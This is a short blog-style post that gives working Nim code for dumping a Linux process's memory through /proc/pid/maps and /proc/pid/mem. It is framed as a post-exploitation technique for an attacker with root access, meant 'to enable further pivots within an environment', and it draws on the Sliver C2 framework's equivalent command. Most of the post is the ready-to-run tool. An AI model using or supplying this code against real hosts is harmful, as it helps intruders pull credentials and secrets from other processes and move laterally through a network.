Why?
You want to inspect process memory to enable further pivots within an environment.
When?
You have root access to a Linux host, and no Linux Security Modules block access to /proc.
How?
A statically linked binary is especially convenient here - as is learning from how others have solve the problem (e.g. from Sliver's Dump Process Memory command).
This nim code reads metadata from /proc/pid/maps, and dumps to stdout offsets of /proc/pid/mem that are: readable, non executable, and non-file-backed. My experience mirrored the Sliver developer's in that [vvar]
and [vdso]
errored out when attempting to read them:
import std/os import std/strutils import std/strformat if paramCount() != 1: echo &"Usage: {paramStr(0)} <pid>" quit(1) let f = open(&"/proc/{paramStr(1)}/mem") for line in lines(&"/proc/{paramStr(1)}/maps"): let parts = line.split(" ") # readable memory but not executable code if parts[1][0] == 'r' and not parts[1].contains('x'): # skip files mapped into memory if parts[3] == "00:00": # skip memory we will error out accessing if not(line.endsWith("[vvar]") or line.endsWith("[vdso]")): let addresses = parts[0].split("-") let offset_start = addresses[0].parseHexInt() let offset_end = addresses[1].parseHexInt() f.setFilePos(offset_start) var buffer: array[1024, int8] var remaining = offset_end-offset_start while remaining > 0: let n = f.readBytes(buffer, 0, min(remaining, 1024)) remaining -= n discard stdout.writeBytes(buffer, 0, n) f.close()
Top comments (0)